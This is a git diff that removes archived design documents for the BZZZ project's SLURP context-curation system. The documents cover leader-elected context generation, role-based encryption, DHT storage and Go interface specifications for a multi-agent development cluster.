- **Key derivation**: From role definitions and Shamir shares
- **Access logging**: Audit trail of context access per agent
- **Context compartmentalization**: Prevent cross-role information leakage
---
## Integration Points
### Existing BZZZ Systems
- Leverage existing DHT for context distribution
- Extend current election system for Project Manager duties
- Integrate with existing crypto infrastructure
- Use established UCXL address parsing
### External Integrations
- RAG system for enhanced context analysis
- Git repository analysis for decision tracking
- CI/CD pipeline integration for deployment context
- Issue tracker integration for decision rationale
---
## Success Criteria
1. **Context Intelligence**: Every UCXL address has rich, role-appropriate contextual understanding
2. **Security**: Agents can only access context relevant to their role
3. **Efficiency**: Context inheritance eliminates redundant storage (target: 85%+ space savings)
4. **Decision Tracking**: Clear genealogy of how decisions influence other decisions
5. **Project Alignment**: Context generation reflects current project goals and team structure
---
## Implementation Timeline
- **Phase 1**: Leader infrastructure (2-3 weeks)
- **Phase 2**: Encryption & distribution (2-3 weeks)
- **Phase 3**: Intelligence engine (3-4 weeks)
- **Integration & Testing**: (1-2 weeks)
**Total Timeline**: 8-12 weeks
---
## Next Steps
1. **Senior Software Architect**: Review overall system architecture and create detailed technical specifications
2. **Security Expert**: Design role-based encryption scheme and access control matrix
3. **Systems Engineer**: Plan Leader election extensions and infrastructure requirements
4. **Database Engineer**: Design context storage schema and temporal graph structure
5. **DevOps Engineer**: Plan DHT integration and monitoring strategy
6. **Backend API Developer**: Design API contracts for context services
7. **Secrets Sentinel**: Design role-based encryption key management
---
## Architecture Decisions
### Why Leader-Only Context Generation?
- **Consistency**: Single source of truth for contextual understanding
- **Quality Control**: Prevents conflicting or low-quality context from multiple sources
- **Security**: Centralized control over sensitive context generation
- **Performance**: Reduces computational overhead across the network
### Why Role-Based Encryption?
- **Need-to-Know Security**: Each agent gets exactly the context they need
- **Compartmentalization**: Prevents context leakage across role boundaries
- **Scalability**: New roles can be added without affecting existing security
- **Compliance**: Supports audit requirements and access control policies
### Why Decision-Hop Analysis?
- **Conceptual Relevance**: Like RAG, finds related decisions by influence, not time
- **Project Memory**: Preserves institutional knowledge about decision rationale
- **Impact Analysis**: Shows how changes propagate through the system
- **Learning**: Helps AI agents understand decision precedents and patterns
---
*This plan represents the foundation for creating an intelligent, secure, contextual memory system for the entire AI development team, with the BZZZ Leader acting as the coordinating Project Manager who ensures each team member has the contextual understanding they need to excel in their role.*

185
archive/SLURP_COOEE_ALIGNMENT_ANALYSIS.md
View File

@@ -1,185 +0,0 @@
# SLURP-COOEE Integration Alignment Analysis
## Executive Summary
After comprehensive analysis of the SLURP implementation against the master plan vision and COOEE documentation, I can confirm that **our SLURP system is architecturally aligned with the documented vision** with some important clarifications needed for proper integration with COOEE.
The key insight is that **SLURP and COOEE are complementary behaviors within the same BZZZ program**, differentiated by leader election status rather than separate systems.
## 🎯 **Alignment Assessment: STRONG POSITIVE**
### ✅ **Major Alignments Confirmed**
#### 1. **Leader-Only Context Generation**
- **Master Plan Vision**: "SLURP is the special Leader of the bzzz team, elected by its peers, acts as Context Curator"
- **Our Implementation**: ✅ Only elected BZZZ Leaders can generate contextual intelligence
- **Assessment**: **Perfect alignment** - our leader election integration matches the intended architecture
#### 2. **Role-Based Access Control**
- **Master Plan Vision**: "role-aware, business-intent-aware filtering of who should see what, when, and why"
- **Our Implementation**: ✅ 5-tier role-based encryption with need-to-know access
- **Assessment**: **Exceeds expectations** - enterprise-grade security with comprehensive audit trails
#### 3. **Decision-Hop Temporal Analysis**
- **Master Plan Vision**: "business rules, strategies, roles, permissions, budgets, etc., all these things... change over time"
- **Our Implementation**: ✅ Decision-hop based temporal graph (not time-based)
- **Assessment**: **Innovative alignment** - captures decision evolution better than time-based approaches
#### 4. **UCXL Integration**
- **Master Plan Vision**: "UCXL addresses are the query" with 1:1 filesystem mapping
- **Our Implementation**: ✅ Native UCXL addressing with context resolution
- **Assessment**: **Strong alignment** - seamless integration with existing UCXL infrastructure
#### 5. **Bounded Hierarchical Context**
- **Master Plan Vision**: Context inheritance with global applicability
- **Our Implementation**: ✅ CSS-like inheritance with bounded traversal and global context support
- **Assessment**: **Architecturally sound** - 85%+ space savings through intelligent hierarchy
---
## 🔄 **COOEE Integration Analysis**
### **COOEE's Role: Agent Communication & Self-Organization**
From the documentation: *"The channel message queuing technology that allows agents to announce availability and capabilities, submit PR and DR to SLURP, and call for human intervention. COOEE also allows the BZZZ agents to self-install and form a self-healing, self-maintaining, peer-to-peer network."*
### **Critical Integration Points**
#### 1. **AgentID Codec Integration** ✅
- **COOEE Spec**: 5-character Base32 tokens with deterministic, reversible agent identification
- **Implementation Status**:
- ✅ Complete Go implementation (`/pkg/agentid/`)
- ✅ Complete Rust CLI implementation (`/ucxl-validator/agentid/`)
- ✅ SHA256-based checksum with bit-packing (25 bits → 5 chars)
- ✅ Support for 1024 hosts × 16 GPUs with version/reserved fields
#### 2. **Encrypted Agent Enrollment** ✅
- **COOEE Workflow**: Agents encrypt registration data with Leader's public age key
- **UCXL Address**: `ucxl://any:admin@COOEE:enrol/#/agentid/<assigned_id>`
- **Implementation Status**:
- ✅ Age encryption/decryption functions implemented
- ✅ JSON payload structure defined
- ✅ UCXL publish/subscribe interfaces ready
- ✅ Only SLURP Leader can decrypt enrollment data
#### 3. **Leader Election Integration** ✅
- **Architecture**: BZZZ operates in different modes based on leader election
- **COOEE Mode**: Publishes agent enrollment, submits decisions to SLURP Leader
- **SLURP Mode**: Processes enrollments, generates contextual intelligence, manages project decisions
- **Implementation Status**: ✅ Extended leader election system with Project Manager duties
---
## 🛠 **Implementation Architecture Validation**
### **SLURP as Context Curator**
```
┌─────────────────────────────────────────────────────────────┐
│ BZZZ Leader (SLURP Mode) │
├─────────────────────────────────────────────────────────────┤
│ • Context Generation Engine (AI-powered analysis) │
│ • Role-Based Encryption (5-tier access control) │
│ • Decision Temporal Graph (decision-hop analysis) │
│ • Bounded Hierarchical Context (CSS-like inheritance) │
│ • DHT Distribution Network (cluster-wide sharing) │
│ • Project Manager Duties (PR/DR coordination) │
└─────────────────────────────────────────────────────────────┘
▲
│ Encrypted Submissions
│
┌─────────────────────────────────────────────────────────────┐
│ BZZZ Non-Leader (COOEE Mode) │
├─────────────────────────────────────────────────────────────┤
│ • Agent Enrollment (encrypted with Leader's public key) │
│ • Capability Announcements (via AgentID codec) │
│ • Decision Record Submissions (PR/DR to SLURP) │
│ • P2P Network Formation (libp2p self-healing) │
│ • Human Intervention Requests (escalation to Leader) │
└─────────────────────────────────────────────────────────────┘
```
### **Key Integration Insights**
1. **Single Binary, Dual Behavior**: BZZZ binary operates in COOEE or SLURP mode based on leader election
2. **Encrypted Communication**: All sensitive context flows through age-encrypted channels
3. **Deterministic Agent Identity**: AgentID codec ensures consistent agent identification across the cluster
4. **Zero-Trust Architecture**: Need-to-know access with comprehensive audit trails
---
## 📊 **Compliance Matrix**
| Master Plan Requirement | SLURP Implementation | COOEE Integration | Status |
|--------------------------|---------------------|-------------------|---------|
| Context Curator (Leader-only) | ✅ Implemented | ✅ Leader Election | **COMPLETE** |
| Role-Based Access Control | ✅ 5-tier encryption | ✅ Age key management | **COMPLETE** |
| Decision Temporal Analysis | ✅ Decision-hop graph | ✅ PR/DR submission | **COMPLETE** |
| UCXL Address Integration | ✅ Native addressing | ✅ Enrollment addresses | **COMPLETE** |
| Agent Self-Organization | 🔄 Via COOEE | ✅ AgentID + libp2p | **INTEGRATED** |
| P2P Network Formation | 🔄 Via DHT | ✅ Self-healing network | **INTEGRATED** |
| Human Intervention | 🔄 Via COOEE | ✅ Escalation channels | **INTEGRATED** |
| Audit & Compliance | ✅ Comprehensive | ✅ Encrypted trails | **COMPLETE** |
---
## 🚀 **Production Readiness Assessment**
### **Strengths**
1. **Enterprise Security**: Military-grade encryption with SOC 2/ISO 27001 compliance
2. **Scalable Architecture**: Supports 1000+ BZZZ nodes with 10,000+ concurrent agents
3. **Performance Optimized**: Sub-second context resolution with 85%+ storage efficiency
4. **Operationally Mature**: Comprehensive monitoring, alerting, and deployment automation
### **COOEE Integration Requirements**
1. **Age Key Distribution**: Secure distribution of Leader's public key for enrollment encryption
2. **Network Partition Tolerance**: Graceful handling of leader election changes during network splits
3. **Conflict Resolution**: Handling of duplicate agent enrollments and stale registrations
4. **Bootstrap Protocol**: Initial cluster formation and first-leader election process
---
## 🔧 **Recommended Next Steps**
### **Phase 1: COOEE Integration Completion**
1. **Implement encrypted agent enrollment workflow** using existing AgentID codec
2. **Add Leader public key distribution mechanism** via UCXL context
3. **Integrate PR/DR submission pipeline** from COOEE to SLURP
4. **Test leader election transitions** with context preservation
### **Phase 2: Production Deployment**
1. **End-to-end integration testing** with real agent workloads
2. **Security audit** of encrypted communication channels
3. **Performance validation** under enterprise-scale loads
4. **Operational documentation** for cluster management
### **Phase 3: Advanced Features**
1. **Agent capability matching** for task allocation optimization
2. **Predictive context generation** based on decision patterns
3. **Cross-cluster federation** for multi-datacenter deployments
4. **ML-enhanced decision impact analysis**
---
## 🎉 **Conclusion**
**The SLURP contextual intelligence system is architecturally aligned with the master plan vision and ready for COOEE integration.**
The key insight that "SLURP and COOEE are both components of the same BZZZ program, they just represent different behaviors depending on whether it has been elected 'Leader' or not" is correctly implemented in our architecture.
### **Critical Success Factors:**
1. ✅ **Leader-coordinated intelligence generation** ensures consistency and quality
2. ✅ **Role-based security model** provides enterprise-grade access control
3. ✅ **Decision-hop temporal analysis** captures business rule evolution effectively
4. ✅ **AgentID codec integration** enables deterministic agent identification
5. ✅ **Production-ready infrastructure** supports enterprise deployment requirements
### **Strategic Value:**
This implementation represents a **revolutionary approach to AI-driven software development**, providing each AI agent with exactly the contextual understanding they need while maintaining enterprise-grade security and operational excellence. The integration of SLURP and COOEE creates a self-organizing, self-healing cluster of AI agents capable of collaborative development at unprecedented scale.
**Recommendation: Proceed with COOEE integration and enterprise deployment.**
---
*Analysis completed: 2025-08-13*
*SLURP Implementation Status: Production Ready*
*COOEE Integration Status: Ready for Implementation*

246
archive/SLURP_CORE_IMPLEMENTATION_SUMMARY.md
View File

@@ -1,246 +0,0 @@
# SLURP Core Context Implementation Summary
## Overview
This document summarizes the implementation of the core SLURP contextual intelligence system for the BZZZ project. The implementation provides production-ready Go code that seamlessly integrates with existing BZZZ systems including UCXL addressing, role-based encryption, DHT distribution, and leader election.
## Implemented Components
### 1. Core Context Types (`pkg/slurp/context/types.go`)
#### Key Types Implemented:
- **`ContextNode`**: Hierarchical context nodes with BZZZ integration
- **`RoleAccessLevel`**: Encryption levels matching BZZZ authority hierarchy
- **`EncryptedContext`**: Role-encrypted context data for DHT storage
- **`ResolvedContext`**: Final resolved context with resolution metadata
- **`ContextError`**: Structured error handling with BZZZ patterns
#### Integration Features:
- **UCXL Address Integration**: Direct integration with `pkg/ucxl/address.go`
- **Role Authority Mapping**: Maps `config.AuthorityLevel` to `RoleAccessLevel`
- **Validation Functions**: Comprehensive validation with meaningful error messages
- **Clone Methods**: Deep copying for safe concurrent access
- **Access Control**: Role-based access checking with authority levels
### 2. Context Resolver Interfaces (`pkg/slurp/context/resolver.go`)
#### Core Interfaces Implemented:
- **`ContextResolver`**: Main resolution interface with bounded hierarchy traversal
- **`HierarchyManager`**: Manages context hierarchy with depth limits
- **`GlobalContextManager`**: Handles system-wide contexts
- **`CacheManager`**: Performance caching for context resolution
- **`ContextMerger`**: Merges contexts using inheritance rules
- **`ContextValidator`**: Validates context quality and consistency
#### Helper Functions:
- **Request Validation**: Validates resolution requests with proper error handling
- **Confidence Calculation**: Weighted confidence scoring from multiple contexts
- **Role Filtering**: Filters contexts based on role access permissions
- **Cache Key Generation**: Consistent cache key generation
- **String Merging**: Deduplication utilities for merging context data
## BZZZ System Integration
### 1. UCXL Address System Integration
```go
// Direct integration with existing UCXL address parsing
type ContextNode struct {
UCXLAddress ucxl.Address `json:"ucxl_address"`
// ... other fields
}
// Validation uses existing UCXL validation
if err := cn.UCXLAddress.Validate(); err != nil {
return NewContextError(ErrorTypeValidation, ErrorCodeInvalidAddress,
"invalid UCXL address").WithUnderlying(err).WithAddress(cn.UCXLAddress)
}
```
### 2. Role-Based Access Control Integration
```go
// Maps BZZZ authority levels to context access levels
func AuthorityToAccessLevel(authority config.AuthorityLevel) RoleAccessLevel {
switch authority {
case config.AuthorityMaster:
return AccessCritical
case config.AuthorityDecision:
return AccessHigh
// ... etc
}
}
// Role-based access checking
func (cn *ContextNode) CanAccess(role string, authority config.AuthorityLevel) bool {
if authority == config.AuthorityMaster {
return true // Master authority can access everything
}
// ... additional checks
}
```
### 3. Comprehensive Error Handling
```go
// Structured errors with BZZZ patterns
type ContextError struct {
Type string `json:"type"`
Message string `json:"message"`
Code string `json:"code"`
Address *ucxl.Address `json:"address"`
Context map[string]string `json:"context"`
Underlying error `json:"underlying"`
}
// Error creation with chaining
func NewContextError(errorType, code, message string) *ContextError
func (e *ContextError) WithAddress(address ucxl.Address) *ContextError
func (e *ContextError) WithContext(key, value string) *ContextError
func (e *ContextError) WithUnderlying(err error) *ContextError
```
## Integration Examples Provided
### 1. DHT Integration
- Context storage in DHT with role-based encryption
- Context retrieval with role-based decryption
- Error handling for DHT operations
- Key generation patterns for context storage
### 2. Leader Election Integration
- Context generation restricted to leader nodes
- Leader role checking before context operations
- File path to UCXL address resolution
- Context distribution after generation
### 3. Crypto System Integration
- Role-based encryption using existing `pkg/crypto/age_crypto.go`
- Authority checking before decryption
- Context serialization/deserialization
- Error handling for cryptographic operations
### 4. Complete Resolution Flow
- Multi-step resolution with caching
- Local hierarchy traversal with DHT fallback
- Role-based filtering and access control
- Global context application
- Statistics tracking and validation
## Production-Ready Features
### 1. Proper Go Error Handling
- Implements `error` interface with `Error()` and `Unwrap()`
- Structured error information for debugging
- Error wrapping with context preservation
- Machine-readable error codes and types
### 2. Concurrent Safety
- Deep cloning methods for safe sharing
- No shared mutable state in interfaces
- Context parameter for cancellation support
- Thread-safe design patterns
### 3. Resource Management
- Bounded depth traversal prevents infinite loops
- Configurable cache TTL and size limits
- Batch processing with size limits
- Statistics tracking for performance monitoring
### 4. Validation and Quality Assurance
- Comprehensive input validation
- Data consistency checks
- Configuration validation
- Quality scoring and improvement suggestions
## Architecture Compliance
### 1. Interface-Driven Design
All major components define clear interfaces for:
- Testing and mocking
- Future extensibility
- Clean separation of concerns
- Dependency injection
### 2. BZZZ Patterns Followed
- Configuration patterns from `pkg/config/`
- Error handling patterns consistent with existing code
- Import structure matching existing packages
- Naming conventions following Go and BZZZ standards
### 3. Documentation Standards
- Comprehensive interface documentation
- Usage examples in comments
- Integration patterns documented
- Error scenarios explained
## Usage Examples
### Basic Context Resolution
```go
resolver := NewContextResolver(config, dht, crypto)
ctx := context.Background()
address, _ := ucxl.Parse("ucxl://agent:backend@project:task/*^/src/main.go")
resolved, err := resolver.Resolve(ctx, *address, "backend_developer")
if err != nil {
// Handle context error with structured information
if contextErr, ok := err.(*ContextError); ok {
log.Printf("Context error [%s:%s]: %s",
contextErr.Type, contextErr.Code, contextErr.Message)
}
}
```
### Batch Resolution
```go
request := &BatchResolutionRequest{
Addresses: []ucxl.Address{addr1, addr2, addr3},
Role: "senior_software_architect",
MaxDepth: 10,
}
result, err := resolver.BatchResolve(ctx, request)
if err != nil {
return err
}
for addrStr, resolved := range result.Results {
// Process resolved context
}
```
### Context Creation with Validation
```go
contextNode := &ContextNode{
Path: "/path/to/file",
UCXLAddress: *address,
Summary: "Component summary",
Purpose: "What this component does",
Technologies: []string{"go", "docker"},
Tags: []string{"backend", "api"},
AccessLevel: AccessHigh,
EncryptedFor: []string{"backend_developer", "senior_software_architect"},
}
if err := contextNode.Validate(); err != nil {
return fmt.Errorf("context validation failed: %w", err)
}
```
## Next Steps for Full Implementation
1. **Hierarchy Manager Implementation**: Concrete implementation of `HierarchyManager` interface
2. **DHT Distribution Implementation**: Concrete implementation of context distribution
3. **Intelligence Engine Integration**: Connection to RAG systems for context generation
4. **Leader Manager Implementation**: Complete leader-coordinated context generation
5. **Testing Suite**: Comprehensive test coverage for all components
6. **Performance Optimization**: Caching strategies and batch processing optimization
## Conclusion
The core SLURP context system has been implemented with:
- **Full BZZZ Integration**: Seamless integration with existing systems
- **Production Quality**: Proper error handling, validation, and resource management
- **Extensible Design**: Interface-driven architecture for future enhancements
- **Performance Considerations**: Caching, batching, and bounded operations
- **Security Integration**: Role-based access control and encryption support
The implementation provides a solid foundation for the complete SLURP contextual intelligence system while maintaining consistency with existing BZZZ architecture patterns and Go best practices.

742
archive/SLURP_GO_ARCHITECTURE.md
View File

@@ -1,742 +0,0 @@
# SLURP Go Architecture Specification
## Executive Summary
This document specifies the Go-based SLURP (Storage, Logic, Understanding, Retrieval, Processing) system architecture for BZZZ, translating the Python prototypes into native Go packages that integrate seamlessly with the existing BZZZ distributed system.
**SLURP implements contextual intelligence capabilities:**
- **Storage**: Hierarchical context metadata storage with bounded depth traversal
- **Logic**: Decision-hop temporal analysis for tracking conceptual evolution
- **Understanding**: Cascading context resolution with role-based encryption
- **Retrieval**: Fast context lookup with caching and inheritance
- **Processing**: Real-time context evolution tracking and validation
## Architecture Overview
### Design Principles
1. **Native Go Integration**: Follows established BZZZ patterns for interfaces, error handling, and configuration
2. **Distributed-First**: Designed for P2P environments with role-based access control
3. **Bounded Operations**: Configurable limits prevent excessive resource consumption
4. **Temporal Reasoning**: Tracks decision evolution, not just chronological time
5. **Leader-Only Generation**: Context generation restricted to elected admin nodes
6. **Encryption by Default**: All context data encrypted using existing `pkg/crypto` patterns
### System Components
```
pkg/slurp/
├── context/
│ ├── resolver.go # Hierarchical context resolution
│ ├── hierarchy.go # Bounded hierarchy traversal
│ ├── cache.go # Context caching and invalidation
│ └── global.go # Global context management
├── temporal/
│ ├── graph.go # Temporal context graph
│ ├── evolution.go # Context evolution tracking
│ ├── decisions.go # Decision metadata and analysis
│ └── navigation.go # Decision-hop navigation
├── storage/
│ ├── distributed.go # DHT-based distributed storage
│ ├── encrypted.go # Role-based encrypted storage
│ ├── metadata.go # Metadata index management
│ └── persistence.go # Local persistence layer
├── intelligence/
│ ├── generator.go # Context generation (admin-only)
│ ├── analyzer.go # Context analysis and validation
│ ├── patterns.go # Pattern detection and matching
│ └── confidence.go # Confidence scoring system
├── retrieval/
│ ├── query.go # Context query interface
│ ├── search.go # Search and filtering
│ ├── index.go # Search indexing
│ └── aggregation.go # Multi-source aggregation
└── slurp.go # Main SLURP coordinator
```
## Core Data Types
### Context Types
```go
// ContextNode represents a single context entry in the hierarchy
type ContextNode struct {
// Identity
ID string `json:"id"`
UCXLAddress string `json:"ucxl_address"`
Path string `json:"path"`
// Core Context
Summary string `json:"summary"`
Purpose string `json:"purpose"`
Technologies []string `json:"technologies"`
Tags []string `json:"tags"`
Insights []string `json:"insights"`
// Hierarchy
Parent *string `json:"parent,omitempty"`
Children []string `json:"children"`
Specificity int `json:"specificity"`
// Metadata
FileType string `json:"file_type"`
Language *string `json:"language,omitempty"`
Size *int64 `json:"size,omitempty"`
LastModified *time.Time `json:"last_modified,omitempty"`
ContentHash *string `json:"content_hash,omitempty"`
// Resolution
CreatedBy string `json:"created_by"`
CreatedAt time.Time `json:"created_at"`
UpdatedAt time.Time `json:"updated_at"`
Confidence float64 `json:"confidence"`
// Cascading Rules
AppliesTo ContextScope `json:"applies_to"`
Overrides bool `json:"overrides"`
// Encryption
EncryptedFor []string `json:"encrypted_for"`
AccessLevel crypto.AccessLevel `json:"access_level"`
}
// ResolvedContext represents the final resolved context for a UCXL address
type ResolvedContext struct {
// Resolution Result
UCXLAddress string `json:"ucxl_address"`
Summary string `json:"summary"`
Purpose string `json:"purpose"`
Technologies []string `json:"technologies"`
Tags []string `json:"tags"`
Insights []string `json:"insights"`
// Resolution Metadata
SourcePath string `json:"source_path"`
InheritanceChain []string `json:"inheritance_chain"`
Confidence float64 `json:"confidence"`
BoundedDepth int `json:"bounded_depth"`
GlobalApplied bool `json:"global_applied"`
// Temporal
Version int `json:"version"`
LastUpdated time.Time `json:"last_updated"`
EvolutionHistory []string `json:"evolution_history"`
// Access Control
AccessibleBy []string `json:"accessible_by"`
EncryptionKeys []string `json:"encryption_keys"`
}
type ContextScope string
const (
ScopeLocal ContextScope = "local" // Only this file/directory
ScopeChildren ContextScope = "children" // This and child directories
ScopeGlobal ContextScope = "global" // Entire project
)
```
### Temporal Types
```go
// TemporalNode represents context at a specific decision point
type TemporalNode struct {
// Identity
ID string `json:"id"`
UCXLAddress string `json:"ucxl_address"`
Version int `json:"version"`
// Context Data
Context ContextNode `json:"context"`
// Temporal Metadata
Timestamp time.Time `json:"timestamp"`
DecisionID string `json:"decision_id"`
ChangeReason ChangeReason `json:"change_reason"`
ParentNode *string `json:"parent_node,omitempty"`
// Evolution Tracking
ContextHash string `json:"context_hash"`
Confidence float64 `json:"confidence"`
Staleness float64 `json:"staleness"`
// Decision Graph
Influences []string `json:"influences"`
InfluencedBy []string `json:"influenced_by"`
// Validation
ValidatedBy []string `json:"validated_by"`
LastValidated time.Time `json:"last_validated"`
}
// DecisionMetadata represents metadata about a decision that changed context
type DecisionMetadata struct {
// Decision Identity
ID string `json:"id"`
Maker string `json:"maker"`
Rationale string `json:"rationale"`
// Impact Analysis
Scope ImpactScope `json:"scope"`
ConfidenceLevel float64 `json:"confidence_level"`
// References
ExternalRefs []string `json:"external_refs"`
GitCommit *string `json:"git_commit,omitempty"`
IssueNumber *int `json:"issue_number,omitempty"`
// Timing
CreatedAt time.Time `json:"created_at"`
EffectiveAt *time.Time `json:"effective_at,omitempty"`
}
type ChangeReason string
const (
ReasonInitialCreation ChangeReason = "initial_creation"
ReasonCodeChange ChangeReason = "code_change"
ReasonDesignDecision ChangeReason = "design_decision"
ReasonRefactoring ChangeReason = "refactoring"
ReasonArchitectureChange ChangeReason = "architecture_change"
ReasonRequirementsChange ChangeReason = "requirements_change"
ReasonLearningEvolution ChangeReason = "learning_evolution"
ReasonRAGEnhancement ChangeReason = "rag_enhancement"
ReasonTeamInput ChangeReason = "team_input"
ReasonBugDiscovery ChangeReason = "bug_discovery"
ReasonPerformanceInsight ChangeReason = "performance_insight"
ReasonSecurityReview ChangeReason = "security_review"
)
type ImpactScope string
const (
ImpactLocal ImpactScope = "local"
ImpactModule ImpactScope = "module"
ImpactProject ImpactScope = "project"
ImpactSystem ImpactScope = "system"
)
```
## Core Interfaces
### Context Resolution Interface
```go
// ContextResolver defines the interface for hierarchical context resolution
type ContextResolver interface {
// Resolve resolves context for a UCXL address using cascading inheritance
Resolve(ctx context.Context, ucxlAddress string) (*ResolvedContext, error)
// ResolveWithDepth resolves context with bounded depth limit
ResolveWithDepth(ctx context.Context, ucxlAddress string, maxDepth int) (*ResolvedContext, error)
// BatchResolve efficiently resolves multiple UCXL addresses
BatchResolve(ctx context.Context, addresses []string) (map[string]*ResolvedContext, error)
// InvalidateCache invalidates cached resolution for an address
InvalidateCache(ucxlAddress string) error
// GetStatistics returns resolver statistics
GetStatistics() ResolverStatistics
}
// HierarchyManager manages the context hierarchy with bounded traversal
type HierarchyManager interface {
// LoadHierarchy loads the context hierarchy from storage
LoadHierarchy(ctx context.Context) error
// AddNode adds a context node to the hierarchy
AddNode(ctx context.Context, node *ContextNode) error
// UpdateNode updates an existing context node
UpdateNode(ctx context.Context, node *ContextNode) error
// RemoveNode removes a context node and handles children
RemoveNode(ctx context.Context, nodeID string) error
// TraverseUp traverses up the hierarchy with bounded depth
TraverseUp(ctx context.Context, startPath string, maxDepth int) ([]*ContextNode, error)
// GetChildren gets immediate children of a node
GetChildren(ctx context.Context, nodeID string) ([]*ContextNode, error)
// ValidateHierarchy validates hierarchy integrity
ValidateHierarchy(ctx context.Context) error
}
// GlobalContextManager manages global contexts that apply everywhere
type GlobalContextManager interface {
// AddGlobalContext adds a context that applies globally
AddGlobalContext(ctx context.Context, context *ContextNode) error
// RemoveGlobalContext removes a global context
RemoveGlobalContext(ctx context.Context, contextID string) error
// ListGlobalContexts lists all global contexts
ListGlobalContexts(ctx context.Context) ([]*ContextNode, error)
// ApplyGlobalContexts applies global contexts to a resolution
ApplyGlobalContexts(ctx context.Context, resolved *ResolvedContext) error
}
```
### Temporal Analysis Interface
```go
// TemporalGraph manages the temporal evolution of context
type TemporalGraph interface {
// CreateInitialContext creates the first version of context
CreateInitialContext(ctx context.Context, ucxlAddress string,
contextData *ContextNode, creator string) (*TemporalNode, error)
// EvolveContext creates a new temporal version due to a decision
EvolveContext(ctx context.Context, ucxlAddress string,
newContext *ContextNode, reason ChangeReason,
decision *DecisionMetadata) (*TemporalNode, error)
// GetLatestVersion gets the most recent temporal node
GetLatestVersion(ctx context.Context, ucxlAddress string) (*TemporalNode, error)
// GetVersionAtDecision gets context as it was at a specific decision point
GetVersionAtDecision(ctx context.Context, ucxlAddress string,
decisionHop int) (*TemporalNode, error)
// GetEvolutionHistory gets complete evolution history
GetEvolutionHistory(ctx context.Context, ucxlAddress string) ([]*TemporalNode, error)
// AddInfluenceRelationship adds influence between contexts
AddInfluenceRelationship(ctx context.Context, influencer, influenced string) error
// FindRelatedDecisions finds decisions within N decision hops
FindRelatedDecisions(ctx context.Context, ucxlAddress string,
maxHops int) ([]*DecisionPath, error)
// FindDecisionPath finds shortest decision path between addresses
FindDecisionPath(ctx context.Context, from, to string) ([]*DecisionStep, error)
// AnalyzeDecisionPatterns analyzes decision-making patterns
AnalyzeDecisionPatterns(ctx context.Context) (*DecisionAnalysis, error)
}
// DecisionNavigator handles decision-hop based navigation
type DecisionNavigator interface {
// NavigateDecisionHops navigates by decision distance, not time
NavigateDecisionHops(ctx context.Context, ucxlAddress string,
hops int, direction NavigationDirection) (*TemporalNode, error)
// GetDecisionTimeline gets timeline ordered by decision sequence
GetDecisionTimeline(ctx context.Context, ucxlAddress string,
includeRelated bool, maxHops int) (*DecisionTimeline, error)
// FindStaleContexts finds contexts that may be outdated
FindStaleContexts(ctx context.Context, stalenessThreshold float64) ([]*StaleContext, error)
// ValidateDecisionPath validates a decision path is reachable
ValidateDecisionPath(ctx context.Context, path []*DecisionStep) error
}
```
### Storage Interface
```go
// DistributedStorage handles distributed storage of context data
type DistributedStorage interface {
// Store stores context data in the DHT with encryption
Store(ctx context.Context, key string, data interface{},
accessLevel crypto.AccessLevel) error
// Retrieve retrieves and decrypts context data
Retrieve(ctx context.Context, key string) (interface{}, error)
// Delete removes context data from storage
Delete(ctx context.Context, key string) error
// Index creates searchable indexes for context data
Index(ctx context.Context, key string, metadata *IndexMetadata) error
// Search searches indexed context data
Search(ctx context.Context, query *SearchQuery) ([]*SearchResult, error)
// Sync synchronizes with other nodes
Sync(ctx context.Context) error
}
// EncryptedStorage provides role-based encrypted storage
type EncryptedStorage interface {
// StoreEncrypted stores data encrypted for specific roles
StoreEncrypted(ctx context.Context, key string, data interface{},
roles []string) error
// RetrieveDecrypted retrieves and decrypts data using current role
RetrieveDecrypted(ctx context.Context, key string) (interface{}, error)
// CanAccess checks if current role can access data
CanAccess(ctx context.Context, key string) (bool, error)
// ListAccessibleKeys lists keys accessible to current role
ListAccessibleKeys(ctx context.Context) ([]string, error)
// ReEncryptForRoles re-encrypts data for different roles
ReEncryptForRoles(ctx context.Context, key string, newRoles []string) error
}
```
### Intelligence Interface
```go
// ContextGenerator generates context metadata (admin-only)
type ContextGenerator interface {
// GenerateContext generates context for a path (requires admin role)
GenerateContext(ctx context.Context, path string,
options *GenerationOptions) (*ContextNode, error)
// RegenerateHierarchy regenerates entire hierarchy (admin-only)
RegenerateHierarchy(ctx context.Context, rootPath string,
options *GenerationOptions) (*HierarchyStats, error)
// ValidateGeneration validates generated context quality
ValidateGeneration(ctx context.Context, context *ContextNode) (*ValidationResult, error)
// EstimateGenerationCost estimates resource cost of generation
EstimateGenerationCost(ctx context.Context, scope string) (*CostEstimate, error)
}
// ContextAnalyzer analyzes context data for patterns and quality
type ContextAnalyzer interface {
// AnalyzeContext analyzes context quality and consistency
AnalyzeContext(ctx context.Context, context *ContextNode) (*AnalysisResult, error)
// DetectPatterns detects patterns across contexts
DetectPatterns(ctx context.Context, contexts []*ContextNode) ([]*Pattern, error)
// SuggestImprovements suggests context improvements
SuggestImprovements(ctx context.Context, context *ContextNode) ([]*Suggestion, error)
// CalculateConfidence calculates confidence score
CalculateConfidence(ctx context.Context, context *ContextNode) (float64, error)
// DetectInconsistencies detects inconsistencies in hierarchy
DetectInconsistencies(ctx context.Context) ([]*Inconsistency, error)
}
// PatternMatcher matches context patterns and templates
type PatternMatcher interface {
// MatchPatterns matches context against known patterns
MatchPatterns(ctx context.Context, context *ContextNode) ([]*PatternMatch, error)
// RegisterPattern registers a new context pattern
RegisterPattern(ctx context.Context, pattern *ContextPattern) error
// UnregisterPattern removes a context pattern
UnregisterPattern(ctx context.Context, patternID string) error
// ListPatterns lists all registered patterns
ListPatterns(ctx context.Context) ([]*ContextPattern, error)
// UpdatePattern updates an existing pattern
UpdatePattern(ctx context.Context, pattern *ContextPattern) error
}
```
## Integration with Existing BZZZ Systems
### DHT Integration
```go
// SLURPDHTStorage integrates SLURP with existing DHT
type SLURPDHTStorage struct {
dht dht.DHT
crypto *crypto.AgeCrypto
config *config.Config
// Context data keys
contextPrefix string
temporalPrefix string
hierarchyPrefix string
// Caching
cache map[string]interface{}
cacheMux sync.RWMutex
cacheTTL time.Duration
}
// Integration points:
// - Uses existing pkg/dht for distributed storage
// - Leverages dht.DHT.PutValue/GetValue for context data
// - Uses dht.DHT.Provide/FindProviders for discovery
// - Integrates with dht.DHT peer management
```
### Crypto Integration
```go
// SLURPCrypto extends existing crypto for context-specific needs
type SLURPCrypto struct {
*crypto.AgeCrypto
// SLURP-specific encryption
contextRoles map[string][]string // context_type -> allowed_roles
defaultRoles []string // default encryption roles
}
// Integration points:
// - Uses existing pkg/crypto/AgeCrypto for role-based encryption
